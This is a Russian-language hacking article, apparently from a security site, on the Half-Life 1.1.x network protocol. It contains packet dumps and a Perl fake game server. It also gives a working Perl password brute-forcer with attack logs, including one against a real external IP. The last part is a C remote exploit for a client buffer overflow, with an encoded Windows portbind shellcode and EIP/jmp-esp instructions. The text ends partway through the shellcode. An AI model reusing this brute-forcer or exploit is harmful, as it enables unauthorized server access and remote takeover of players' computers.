Конечно же, игрушка под названием Half-Life в представлении не нуждается. За последние два (или три?) года у неё (а точнее у её mod'а CounterStrike) не было ниодного достойного конкурента в компьютерных клубах. Не скрою, я тоже являюсь поклонником этой игры и часто появляюсь на игровых интернет серверах (под ником 'xexe', если кому интересно). В данной статье я опишу работу Half-Life изнутри и некоторые уязвимости, которые мне удалось найти.
d4rkgr3y [d4rk@securitylab.ru]
I. 1ntr0 II. Как оНо работает? 1. Пишем HL-сервер. 2. Пишем HL-bruteforce'ер. III. Уязвимости. 1. Half-Life client\server <=v1.1.1.0: buffer overflow 2. (D)DoS via Half-Life v.* servers IV. 0utr0
Конечно же, игрушка под названием Half-Life в представлении не нуждается. За последние два (или три?) года у неё (а точнее у её mod'а CounterStrike) не было ниодного достойного конкурента в компьютерных клубах. Не скрою, я тоже являюсь поклонником этой игры и часто появляюсь на игровых интернет серверах (под ником 'xexe', если кому интересно). В данной статье я опишу работу Half-Life изнутри и некоторые уязвимости, которые мне удалось найти. Возможно, кто-то закричит: "Да зачем это всё? Тока ламмеров-геймеров мучить...", на что я отвечу, что HL-серверы стоят не только в домашних сетях и в комп. клубах, но и на _крупных_ интернет серверах (пример cs.demos.ru:27015 - крупный Московский провайдер).
Внимание:
! Статья написана в расчёте на продвинутого читателя. Знание c++ и perl обязательно, т.к. описание к исходником поверхностное. Также я не собираюсь здесь разжёвывать элементарные вещи, вроде процессорных регистров, строения стэка и протокола udp !
! Статья действительна только для HL версий 1.1.0.8-1.1.1.0 вне зависимости от установленных MOD'ов, читов, плагинов, etc !
В hl сетевая игра разделена на Lan games и Internet games. По сути они практически идентичны, но, единственное, когда мы заходим в "Lan games", hl посылает 10 пакетов на broadcast адрес на порты 27015-27024 (содержимое пакетов будет рассмотрено ниже) с целью обнаружить рабочие hl серверы в пределах своей сети, и, когда мы пытаемся зайти на какой-либо локальный hl-сервер, hl сначала пытается использовать ipx/spx, а затем уже "udp/ip". Что касается "Internet games", широковещание, естественно, не используется, hl просто пытается залогиниться на серверы WON.
Рассмотрим немного подробнее клиент-серверное взаимодействие hl'а.
Как уже говорилось выше, для игры half-life использует udp (ipx я рассматривать не буду, т.к. я с ним не знаком и вообще он не особо юзабельный). Все пакеты я бы разделил на два типа:
1. которыми клиент и сервер обмениваются во время игры.
Ну тут всё понятно. Передаются координаты выстрелов, движений, etc. Пакеты, в среднем, имеют очень маленький размер: из 100 пакетов 90 весят по ~58 байт (из которых 42b заголовки). То есть, данных в каждом всего 16b. Это сделано по той причине, что в случае утери того или иного пакета (думаю, читатель знает, что для udp это в порядке вещей), потеря данных была бы минимальна.
Ещё хотелось бы отметить, что в пакетах данного типа первые четыре байта данных отводятся под счётчик. То есть, к примеру, после соединения с сервером у первого пакета данные будут начинаться с: 01 00 00 00 (hex), а у десятого: 0A 00 00 00 (hex). Это сделано для выявления потерянных пакетов.
2. клиент и сервер обмениваются до игры.
Первые четыре байта данных в пакетах этого типа статичны и имеют вид: FF FF FF FF (hex). Вероятно, это для того, чтобы не спутать их с "игровыми". Далее идёт команда (или результат выполнения оной), которая оканчивается символом NL (0Ah), либо NULL (00h).
Вот какие команды использует hl-клиент для общения с сервером:
ping - проверка, жив ли half-life-сервер.
infostring - запрос _общей_ информации о сервере.
players - ники игроков и их статы.
rules - ВСЕ настройки сервера.
getchallenge - запрос на соединение.
Я не хочу подробно рассматривать процесс соединения (хотя, мне лично это кажется довольно интересным).. Он будет продемонстрирован ниже.
Что ж, чтобы всем окончательно стало ясно, как же оНо всё-таки работает, приведу пример соединения с CS-сервером 212.154.208.11:27015:
# - комментарии #ask - посылаю я #answ - отвечает сервер #Обратите внимание, что данные начинаются с "FF FF FF FF",
#ask 0x0000 00 02 44 08 FD 9F 00 02-2E F1 06 01 08 00 45 00 ..D.yY...n....E. 0x0010 00 25 29 17 00 00 FF 11-00 00 AD AD 01 22 AD AD .%)...y...." 0x0020 01 64 12 1B 61 A9 00 11-4F 56 FF FF FF FF 70 69 .d..a©..OVyyyypi 0x0030 6E 67 00 ng. #ping #answ 0x0000 00 02 2E F1 06 01 00 02-44 08 FD 9F 08 00 45 00 ...n....D.yY..E. 0x0010 00 22 B1 7E 00 00 80 11-2B 6C AD AD 01 64 AD AD ."±~..?.+l.d 0x0020 01 22 61 A9 12 1B 00 0E-C4 2C FF FF FF FF 6A 00 ."a©....A,yyyyj. 0x0030 20 20 20 20 20 20 20 20-20 20 20 20 #"j " - так выглядит ответ на "ping" #ask 0x0000 B8 B3 20 00 01 00 00 00-01 00 00 00 08 00 45 00 ?? ...........E. 0x0010 00 2C 01 DA 00 00 C8 11-D1 33 51 D3 29 3A D4 9A .,.U..E.N3QO):Os 0x0020 D0 0B 0C 00 69 87 00 18-3C 60 FF FF FF FF 69 6E ?...i‡..<`yyyyin 0x0030 66 6F 73 74 72 69 6E 67-0A 00 fostring.. #inforstring #answ 0x0000 00 00 01 00 00 00 B8 B3-20 00 01 00 08 00 45 00 ......?? .....E. 0x0010 01 33 00 00 40 00 35 11-25 07 D4 9A D0 0B 51 D3 .3..@.5.%.Os?.QO 0x0020 29 3A 69 87 0C 00 01 1F-79 46 FF FF FF FF 69 6E ):i‡....yFyyyyin 0x0030 66 6F 73 74 72 69 6E 67-72 65 73 70 6F 6E 73 65 fostringresponse 0x0040 00 5C 70 72 6F 74 6F 63-6F 6C 5C 34 36 5C 61 64 .\protocol\46\ad 0x0050 64 72 65 73 73 5C 32 31-32 2E 31 35 34 2E 32 30 dress\212.154.20 0x0060 38 2E 31 31 3A 32 37 30-31 35 5C 70 6C 61 79 65 8.11:27015\playe 0x0070 72 73 5C 32 37 5C 70 72-6F 78 79 74 61 72 67 65 rs\27\proxytarge 0x0080 74 5C 30 5C 6C 61 6E 5C-31 5C 6D 61 78 5C 33 32 t\0\lan\1\max\32 0x0090 5C 67 61 6D 65 64 69 72-5C 63 73 74 72 69 6B 65 \gamedir\cstrike 0x00A0 5C 64 65 73 63 72 69 70-74 69 6F 6E 5C 43 6F 75 \description\Cou 0x00B0 6E 74 65 72 53 74 72 69-6B 65 5C 68 6F 73 74 6E nterStrike\hostn 0x00C0 61 6D 65 5C 43 53 31 35-20 4B 5A 20 4F 6E 6C 69 ame\CS15 KZ Onli 0x00D0 6E 65 20 43 6F 75 6E 74-65 72 2D 53 74 72 69 6B ne Counter-Strik 0x00E0 65 20 53 65 72 76 65 72-20 76 31 2E 35 5C 6D 61 e Server v1.5\ma 0x00F0 70 5C 64 65 5F 69 6E 66-65 72 6E 6F 5C 74 79 70 p\de_inferno\typ 0x0100 65 5C 64 5C 70 61 73 73-77 6F 72 64 5C 30 5C 6F e\d\password\0\o 0x0110 73 5C 6C 5C 73 65 63 75-72 65 5C 30 5C 6D 6F 64 s\l\secure\0\mod 0x0120 5C 31 5C 6D 6F 64 76 65-72 73 69 6F 6E 5C 31 5C \1\modversion\1\ 0x0130 73 76 6F 6E 6C 79 5C 30-5C 63 6C 64 6C 6C 5C 31 svonly\0\cldll\1 0x0140 00 . #infostringresponse #сервер отвечает нам общей информацией о себе. #ask 0x0000 B8 B3 20 00 01 00 00 00-01 00 00 00 08 00 45 00 ?? ...........E. 0x0010 00 2D 01 DB 00 00 C8 11-D1 31 51 D3 29 3A D4 9A .-.U..E.N1QO):Os 0x0020 D0 0B 0C 00 69 87 00 19-E3 16 FF FF FF FF 67 65 ?...i‡..a.yyyyge 0x0030 74 63 68 61 6C 6C 65 6E-67 65 0A tchallenge. #getchallenge #запрос на подключение к серверу #answ 0x0000 00 00 01 00 00 00 B8 B3-20 00 01 00 08 00 45 00 ......?? .....E. 0x0010 00 38 00 00 40 00 35 11-26 02 D4 9A D0 0B 51 D3 .8..@.5.&.Os?.QO 0x0020 29 3A 69 87 0C 00 00 24-3D 4D FF FF FF FF 41 30 ):i‡...$=MyyyyA0 0x0030 30 30 30 30 30 30 30 20-32 34 32 34 32 39 37 30 0000000 24242970 0x0040 33 39 20 32 0A 00 39 2.. #сервер позволяет нам присоединиться к игре и отсылает идентификатор "2424297039" #(для каждого сервера он свой и меняется лишь при перезагрузке) в знак того, что всё ок. #Если же сервер не может нас принять, он отвечает почему. К примеру: #"SERVERISFULL", "BADPASSWORD". #ask 0x0000 B8 B3 20 00 01 00 00 00-01 00 00 00 08 00 45 00 ?? ...........E. 0x0010 01 4C 01 DC 00 00 C8 11-D0 11 51 D3 29 3A D4 9A .L.U..E.?.QO):Os 0x0020 D0 0B 0C 00 69 87 01 38-6F EE FF FF FF FF 63 6F ?...i‡.8oiyyyyco 0x0030 6E 6E 65 63 74 20 34 36-20 32 34 32 34 32 39 37 nnect 46 2424297 0x0040 30 33 39 20 22 5C 70 72-6F 74 5C 32 5C 75 6E 69 039 "\prot\2\uni 0x0050 71 75 65 5C 2D 31 5C 72-61 77 5C 33 36 36 62 65 que\-1\raw\366be 0x0060 39 36 39 34 37 36 66 32-66 37 30 32 33 65 33 61 969476f2f7023e3a 0x0070 66 36 61 30 33 37 35 33-61 36 66 22 20 22 5C 6D f6a03753a6f" "\m 0x0080 6F 64 65 6C 5C 67 6F 72-64 6F 6E 5C 74 6F 70 63 odel\gordon\topc 0x0090 6F 6C 6F 72 5C 30 5C 62-6F 74 74 6F 6D 63 6F 6C olor\0\bottomcol 0x00A0 6F 72 5C 30 5C 72 61 74-65 5C 32 35 30 30 2E 30 or\0\rate\2500.0 0x00B0 30 30 30 30 30 5C 63 6C-5F 75 70 64 61 74 65 72 00000\cl_updater 0x00C0 61 74 65 5C 31 30 5C 63-6C 5F 6C 77 5C 31 5C 63 ate\10\cl_lw\1\c 0x00D0 6C 5F 6C 63 5C 31 5C 63-6C 5F 64 6C 6D 61 78 5C l_lc\1\cl_dlmax\ 0x00E0 31 32 38 5C 5F 63 6C 5F-61 75 74 6F 77 65 70 73 128\_cl_autoweps 0x00F0 77 69 74 63 68 5C 31 5C-5F 61 68 5C 31 5C 61 68 witch\1\_ah\1\ah 0x0100 5C 31 5C 6C 65 66 74 68-61 6E 64 5C 30 5C 64 6D \1\lefthand\0\dm 0x0110 5C 30 5C 76 67 75 69 5F-6D 65 6E 75 73 5C 30 5C \0\vgui_menus\0\ 0x0120 5F 76 67 75 69 5F 6D 65-6E 75 73 5C 30 5C 73 5C _vgui_menus\0\s\ 0x0130 31 39 34 31 35 31 5C 73-32 5C 32 5C 73 33 5C 37 194151\s2\2\s3\7 0x0140 37 39 5C 5F 70 77 5C 79-31 72 79 34 72 63 5C 6E 79\_pw\y1ry4rc\n 0x0150 61 6D 65 5C 66 75 63 6B-22 0A ame\xexe". #отсылаем наши данные (ник, модель, инф-ция о самом hl, некоторые настройки)...
#answ 0x0000 00 00 01 00 00 00 B8 B3-20 00 01 00 08 00 45 00 ......?? .....E. 0x0010 00 46 00 00 40 00 35 11-25 F4 D4 9A D0 0B 51 D3 .F..@.5.%oOs?.QO 0x0020 29 3A 69 87 0C 00 00 32-A8 DD FF FF FF FF 42 20 ):i‡...2?YyyyyB 0x0030 34 32 39 34 39 36 37 32-39 35 20 31 34 33 36 20 4294967295 1436 0x0040 22 38 31 2E 32 31 31 2E-34 31 2E 35 38 3A 33 30 "81.211.41.58:30 0x0050 37 32 22 00 72". #ок, мы приняты.Далее мы обмениваемся с сервером просто огромным кол-вом (за 25 секунд было передано ~600 шт.) пакетов первого типа.. Подробно рассматривать этот процесс как-то нет желания, если кому интересно, могу выслать лог. На этом первую часть теоретической части можно считать оконченной. Теперь попробуем реализовать всё это программно.
#!/usr/bin/perl ## ## Fake Half-Life server v.1.337 ## ## -d4rkgr3y [grey_1999_at_mail_dot_ru] ## use IO::Socket; $log = 0; open(HANDLE, ">>hl.log") if $log; $max = 3024; $portn = 27015; $sock = IO::Socket::INET->new(LocalPort => $portn, Proto => 'udp') or die "damn: $@\n"; print "Waiting....\n"; while ($sock->recv($msg2, $max)) { my($port, $ipaddr) = sockaddr_in($sock->peername); $rhost = gethostbyaddr($ipaddr, AF_INET); print "$rhost said: $msg2\n"; ###################ping answer if($msg2=~"ping") { $msg1 = "\xFF\xFF\xFF\xFF\x6A\x00\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20"; } ############################## ###################infostring if($msg2=~"infostring") { $msg1 = "\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72". "\x69\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00". # hl-header "\x5C\x70\x72\x6F\x74\x6F\x63\x6F\x6C\x5C\x34\x36\x5C". "\x61\x64\x64\x72\x65\x73\x73\x5C\x32\x31\x32\x2E\x31". "\x35\x34\x2E\x32\x30\x38\x2E\x31\x31\x3A\x32\x37\x30". "\x31\x35\x5C\x70\x6C\x61\x79\x65\x72\x73\x5C". # protos, versions and other shit "123". # players on the server.. "\x5C\x70\x72\x6F\x78\x79\x74\x61\x72\x67\x65\x74". "\x5C\x30\x5C\x6C\x61\x6E\x5C\x31\x5C\x6D\x61\x78\x5C". "666". # max players "\x5C". "\x67\x61\x6D\x65\x64\x69\x72\x5C\x63\x73\x74\x72\x69\x6B". "\x65\x5C\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x5C". "CounterStrike". # game type "\x5C\x68\x6F\x73\x74\x6E\x61\x6D\x65\x5C". "fake CS-server". # server name "\x5C\x6D\x61\x70\x5C". "de_1337". # map "\x5C\x74\x79\x70\x65\x5C\x64". "\x5C\x70\x61\x73\x73\x77\x6F\x72\x64\x5C". "1". # password (1 - yes, 0 - no) "\x5C\x6F\x73\x5C". "\x6C". # ^^^ - server OS (\x6C - linux, \x77 - win32) "\x5C\x73\x65\x63\x75\x72\x65\x5C\x30\x5C\x6D\x6F\x64\x5C\x31\x5C". "\x6D\x6F\x64\x76\x65\x72\x73\x69\x6F\x6E\x5C\x31\x5C\x73\x76\x6F". "\x6E\x6C\x79\x5C\x30\x5C\x63\x6C\x64\x6C\x6C\x5C\x31\x00"; } ############################### ###################getchallenge if($msg2=~"getchallenge") { $msg1 = "\xFF\xFF\xFF\xFF\x41\x30\x30\x30\x30\x30\x30\x30\x30\x20". "0123456789". # id "\x20\x32\x0A\x00"; } ############################### #######okey, u can connect to me if($msg2=~"connect") { $msg1 = "\xFF\xFF\xFF\xFF\x42\x20\x34\x32\x39\x34\x39\x36\x37\x32\x39". "\x35\x20\x32\x33\x33\x36\x20\x22\x32\x31\x32\x2E\x31\x35\x34". "\x2E\x32\x33\x36\x2E\x32\x34\x32\x3A\x34\x32\x31\x30\x22\x00"; } ################################ print HANDLE "$msg2\n" if $log; $sock->send($msg1) or print "damn: $!\n"; } close(HANDLE) if $log;Скрипт создаёт udp-сервер на порту 27015. Умеет отвечать на команды ping, infostring, getchallenge и connect, то есть в максимальной степени изображать из себя настоящий Half-Life-сервер.
Вот пример его использования на localhost'е:
Обратите внимание, сколько на сервере игроков. Слабо? ;] Имхо, отличная тема для спора.
В начале статьи я забыл упомянуть о том, что в half-life возможно закрывать свой сервер паролем. Нужно сказать, что гэймеры не особо утруждают себя придумыванием паролей, поэтому 90% ставят что-нибудь вроде 12345 или 321.. Я много раз видел, как в клубах пароль подбирался буквально за минуту простым "ручным" перебором.
Вот лог атаки на локальный CS-сервер:
D:\>perl hlbrute.pl [~] Half-Life password cracker v.1.337 [~] Attacking host: 127.0.0.1:27015... [~] Attempting to get ID... [+] OK, ID is: 3376877153 [+] Wordlist opened. Let's start the dance.. aaaa: incorrect aaaaa: incorrect bbbb: incorrect 123: incorrect 111: incorrect [+] Password is "321"А вот и сам скрипт:
#!/usr/bin/perl ## ## Half-Life password cracker v.1.337. ## Imho, it's perfect for local network. ## ## -d4rkgr3y [grey_1999_at_mail_dot_ru] ## use IO::Socket; $wordlist = "words.lst"; # wordlist.. $host = "127.0.0.1"; # удалённый хост $max = 1024; $port = 27015; # его порт $log = 1; # вести лог? $show = 1; # показывать результат каждой попытки $logfile = "bf.log"; # логфайл $socket = IO::Socket::INET->new(Proto => 'udp') or die "socket: $@\n"; $ipaddr = inet_aton($host); $portaddr = sockaddr_in($port, $ipaddr); $msg1 = "\xFF\xFF\xFF\xFF\x67\x65\x74\x63\x68". #getchallenge "\x61\x6C\x6C\x65\x6E\x67\x65\x0A"; # print "[~] Half-Life password cracker v.1.337\n"; print "[~] Attacking host: $host:$port...\n"; getid(); # вызываем функцию определёния ID. # т.к. он одинаковый, определяем его лишь один раз. open(wlist, $wordlist) or die "damn: $!\n"; # открывает вордлист open(LOG, ">>$logfile") or die "damn: $!\n" if $log; # открываем логфайл print "[+] Wordlist opened. Let's start the dance..\n"; while() { chomp; $pwd = $_; # кладём новый пароль в переменную $pwd ##############конструируем новый запрос $msg1 = "\xFF\xFF\xFF\xFF\x63\x6F\x6E\x6E\x65\x63\x74\x20\x34\x36\x20". "$id". "\x20\x22\x5C\x70\x72\x6F\x74\x5C\x32\x5C\x75\x6E\x69\x71". "\x75\x65\x5C\x2D\x31\x5C\x72\x61\x77\x5C\x33\x36\x36\x62\x65\x39". "\x36\x39\x34\x37\x36\x66\x32\x66\x37\x30\x32\x33\x65\x33\x61\x66". "\x36\x61\x30\x33\x37\x35\x33\x61\x36\x66\x22\x20\x22\x5C\x6D\x6F". "\x64\x65\x6C\x5C\x67\x6F\x72\x64\x6F\x6E\x5C\x74\x6F\x70\x63\x6F". "\x6C\x6F\x72\x5C\x30\x5C\x62\x6F\x74\x74\x6F\x6D\x63\x6F\x6C\x6F". "\x72\x5C\x30\x5C\x72\x61\x74\x65\x5C\x32\x35\x30\x30\x2E\x30\x30". "\x30\x30\x30\x30\x5C\x63\x6C\x5F\x75\x70\x64\x61\x74\x65\x72\x61". "\x74\x65\x5C\x31\x30\x5C\x63\x6C\x5F\x6C\x77\x5C\x31\x5C\x63\x6C". "\x5F\x6C\x63\x5C\x31\x5C\x63\x6C\x5F\x64\x6C\x6D\x61\x78\x5C\x31". "\x32\x38\x5C\x5F\x63\x6C\x5F\x61\x75\x74\x6F\x77\x65\x70\x73\x77". "\x69\x74\x63\x68\x5C\x31\x5C\x5F\x61\x68\x5C\x31\x5C\x61\x68\x5C". "\x31\x5C\x6C\x65\x66\x74\x68\x61\x6E\x64\x5C\x30\x5C\x64\x6D\x5C". "\x30\x5C\x76\x67\x75\x69\x5F\x6D\x65\x6E\x75\x73\x5C\x30\x5C\x5F". "\x76\x67\x75\x69\x5F\x6D\x65\x6E\x75\x73\x5C\x30\x5C\x73\x5C\x31". "\x39\x34\x31\x35\x31\x5C\x73\x32\x5C\x32\x5C\x73\x33\x5C\x37\x37". "\x39\x5C\x5F\x70\x77\x5C\x79\x31\x72\x79\x34\x72\x63". "\x5Cpassword\x5C". "$pwd". "\x5C\x6E\x61\x6D\x65\x5Chalf-life-cracker\x22\x0A"; ################################## ########отсылаем и получаем ответ send($socket, $msg1, 0, $portaddr) == length($msg1) or die "[-] damn: $!\n"; $portaddr = recv($socket, $msg2, $max, 0) or die "[-] damn: $!\n"; ################################# #если ответ не содержит БЭДПАССВОРД, то пароль, находящийся в данный #момент в $pwd, верный! if($msg2=~/BADPASSWORD/) { print LOG "$pwd -> wrong\n" if $log; print "$pwd: incorrect\n" if $show; } else { ####раздаём гритцы, тенксы, факсы, закрываем сокеты, хэндлы и выходим. print LOG "$pwd -> yahoo!!\n" if $log; print "[+] Password is \"$pwd\"\n"; close($socket); close(WL); close(LOG) if $log; exit; } } print "[-] Password not cracked :( Try another password-list\n"; print LOG "$pwd -> wrong\n" if $log; exit; #####################вот так определяется идентификатор.. sub getid() { print "[~] Attempting to get ID...\n"; send($socket, $msg1, 0, $portaddr) == length($msg1) or die "[-] damn: $!\n"; $portaddr = recv($socket, $msg2, $max, 0) or die "[-] damn: $!\n"; $id = $msg2; substr($id, 0, 14) = ""; substr($id, -4) = ""; print "[+] OK, ID is: $id\n"; return; } #########################################################Скрипт сначала с помощью команды getchallenge определяет ID сервера, а затем начинает bruteforce. В серверной консоли это будет выглядеть как многочисленные реконнекты.
Ну и последнее. Тут письмо пришло:
------------------------------------------------- Hi, In your Perl Bruteforcer must be a bug... I get this: E:\>t.pl [~] Half-Life password cracker v.1.337 [~] Attacking host: 213.202.213.13:27015... [~] Attempting to get ID... [+] OK, ID is: 969263331 [+] Wordlist opened. Let's start the dance.. [+] Password is "" E:\> But in the words.lst is this: test aaa aab 123 Whats this? mfg. zyll scoper@*.de (Sc0pEr) ---------------------------------------------------------"Баг у тебя в генах, асёл" - напрашивался ответ. Пассворд-лист не должен содержать пустых строк.
III. уязвимости.
Вот мы и подошли к самой интересной части ;) В статье будут рассмотрены только две, т.к. остальные либо уже устарели, либо ещё до конца не разработаны.
1. Half-Life server\client =>v1.1.0.8-1.1.1.0: remote buffer overflow.
Уязвимость была найдена параллельно, независимо мной и неким Auriemma Luigi [www.pivx.com/luigi]. Но к сожалению первым запостил не я, так что и credits принадлежат уважаемому Luigi :) Ну да бог с ним, это не лишает меня права описать уязвимость русскоязычной части интернета. Итак, поехали. Я не просто так первую половину статьи посвятил описанию взаимодействия hl-клиента с сервером. Просто без этого было бы трудно объяснить, где же всё-таки закрался баг.
Итак, вспомним команду "infostring" (на самом деле, возможно, уязвимы и остальные, просто эту можно использовать наиболее удачно).
Как уже говорилось выше, сервер отвечает на неё краткой информацией о себе, а именно: кол-во игроков, карта, тип игры (cs, tf, hl, etc), os, название и версия протокола игрового сервера, ну и так далее. По сути, он передаёт всё, что вы видите, после нажатия Refresh в "Lan games" =) (помимо некоторой служебной информации). Вся эта информация передаётся вот в таком формате:
\параметр\значениеЧтобы удостовериться в этом, взгляните на снифанные пакеты в начале статьи. Вот пример оттуда же:
\model\gordon #модель "гордон" \name\xexe #nickname "хехе"Так вот, переполнение буфера происходит при разборе клиентом пакета (ответа на "infostring"), содержащего длинный параметр (или значение), то есть любую строку большого объёма, заключённую между символами "\" (5Ch). Вот пример пакета (читай данных), который приведёт Half-Life клиент в состояние DoS:
"\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69". "\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa". "\x5C\x00";Кстати, здесь я опишу и предоставлю эксплойт лишь для hl-клиента. Для сервера возможно будет опубликован позже.
Ну а теперь вспомним самое начало данной статьи. Представим, что мы создали fake'овый half-life сервер в локальной сети с большим количеством любителей Counter-Strike. Когда кто-нибудь из них входит в Lan Games (чтобы посмотреть список доступных серверов), его клиент отсылает 10 широковещательных пакетов с запросом "infostring" ;) На что наш сервер отвечает выше указанным пакетом и удалённый клиент виснет. Одним словом, немножко подрекдактировав мой фэйковый Half-Life-сервер, можно как минимум оставить всю локальную сеть без HL, а максимум получить контроль над всеми любителями этой игры.
Что касается игры через интернет (Internet Games), юзерам достаточно лишь нажать "Refresh selected server" на нашем сервере (либо добавить его в список), чтобы быть "атакованными". Теперь поговорим о самом переполнении. Наши данные перезаписывают часть стэка в пределах от 0x001393F4 до 0x0013... (в WinXP), затирая адрес возврата (по адресу 0x001395F4) и некоторые переменные. Очевидно, что напрямую к нашим данным обратиться не удастся (каждый адрес будет содержать nullbyte), поэтому обращаем внимание на регистры. Нам подходят:
edx 00139768 esp 001395F8ESP указывает на данные идущие сразу после eip'а, так что будем юзать его. В итоге для удачной эксплуатации в ответ на infostring-запрос мы должны послать строку вида: ...infostringresponse\AAA[512b]AAAEIPNNNNSHELLCODE\...
Где NNNN - 4 nop'а (хотя можно и больше).
Соответственно стэк будет выглядеть вот так:
| .... | | AAAA | | AAAA | | AAAA | | EIP | | NNNN | | shellcode | | .... |После "прыжка" на ESP программа выполнит "NNNN", а затем наш shellcode. Ну а что касается шеллкода, то он как обычно не должен содержать nullbyte (00h). Также проблемы возникают с 'nl' (0Ah), '\' (5Ch), '"' (22h) и ffh, т.к. эти символы в Half-Life являются "управляющие".
/* m00-HL-portbind.c * * HalfLife client <=v.1.1.1.0 remote exploit * * Authors: * d4rkgr3y [grey_1999_at_mail.ru] * Over_G [overg_at_mail.ru] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #define PORT 27015 /* порт на котором будет висеть наш демон */ char ping[0x12]= /*ответ на ping (клиент перед 'infostring' посылает 'ping', чтобы удостоверится, что сервер жив) */ "\xff\xff\xff\xff\x6a\x00\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20"; unsigned char evilbuf[] = /* непосредственно `infostringresponse` */ "\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69" "\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c" /* 512 байта мусора */ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAA" "\x5a\x5a\x5a\x5a" // EIP "\x90\x90\x90\x90" // после инструкции `jmp esp` с этого места начнётся выполнение /* winxp/2k xored portbind shellcode */ /* если Вы собираетесь использовать сплойт против win9x/me, то шеллкод придётся сменить */ "\x8B\xC4\x83\xC0\x15\x33\xC9\x66\xB9\xD1\x01\x80\x30\x96\x40\xE2\xFA" // decrypt "\x15\x7A\xA2\x1D\x62\x7E\xD1\x97\x96\x96\x1F\x90\x69\xA0\xFE\x18\xD8\x98 \x7A\x7E\xF7" "\x97\x96\x96\x1F\xD0\x9E\x69\xA0\xFE\x3B\x4F\x93\x58\x7E\xC4\x97\x96\x96 \x1F\xD0" "\x9A\xFE\xFA\xFA\x96\x96\xFE\xA5\xA4\xB8\xF2\xFE\xE1\xE5\xA4\xC9\xC2\x69 \xC0\x9E" "\x1F\xD0\x92\x69\xA0\xFE\xE4\x68\x25\x80\x7E\xBB\x97\x96\x96\x1F\xD0\x86 \x69\xA0" "\xFE\xE8\x4E\x74\xE5\x7E\x88\x97\x96\x96\x1F\xD0\x82\x69\xE0\x92 \xFE\x5D\x7B\x6A" "\xAD\x7E\x98\x97\x96\x96\x1F\xD0\x8E\x69\xE0\x92\xFE\x4F\x9F\x63 \x3B\x7E\x68\x96" "\x96\x96\x1F\xD0\x8A\x69\xE0\x92\xFE\x32\x8C\xE6\x51\x7E\x78\x96\x96\x96 \x1F\xD0" "\xB6\x69\xE0\x92\xFE\x32\x3B\xB8\x7F\x7E\x48\x96\x96\x96\x1F\xD0\xB2\x69 \xE0\x92" "\xFE\x73\xDF\x10\xDF\x7E\x58\x96\x96\x96\x1F\xD0\xBE\x69\xE0\x92\xFE\x71 \xEF\x50" "\xEF\x7E\x28\x96\x96\x96\x1F\xD0\xBA\xA5\x69\x17\x7A\x06\x97\x96\x96\xC2 \xFE\x97" "\x97\x96\x96\x69\xC0\x8E\xC6\xC6\xC6\xC6\xD6\xC6\xD6\xC6\x69\xC0 \x8A\x1D\x4E\xC1" "\xC1\xFE\x94\x96\x79\x86\x1D\x5A\xFC\x80\xC7\xC5\x69\xC0\xB6\xC1\xC5\x69 \xC0\xB2" "\xC1\xC7\xC5\x69\xC0\xBE\x1D\x46\xFE\xF3\xEE\xF3\x96\xFE\xF5\xFB\xF2\xB8\x1F\xF0" "\xA6\x15\x7A\xC2\x1B\xAA\xB2\xA5\x56\xA5\x5F\x15\x57\x83\x3D\x74\x6B\x50 \xD2\xB2" "\x86\xD2\x68\xD2\xB2\xAB\x1F\xC2\xB2\xDE\x1F\xC2\xB2\xDA\x1F\xC2\xB2\xC6 \x1B\xD2" "\xB2\x86\xC2\xC6\xC7\xC7\xC7\xFC\x97\xC7\xC7\x69\xE0\xA6\xC7\x69\xC0\x86\x1D\x5A" "\xFC\x69\x69\xA7\x69\xC0\x9A\x1D\x5E\xC1\x69\xC0\xBA\x69\xC0\x82\xC3\xC0\xF2\x37" 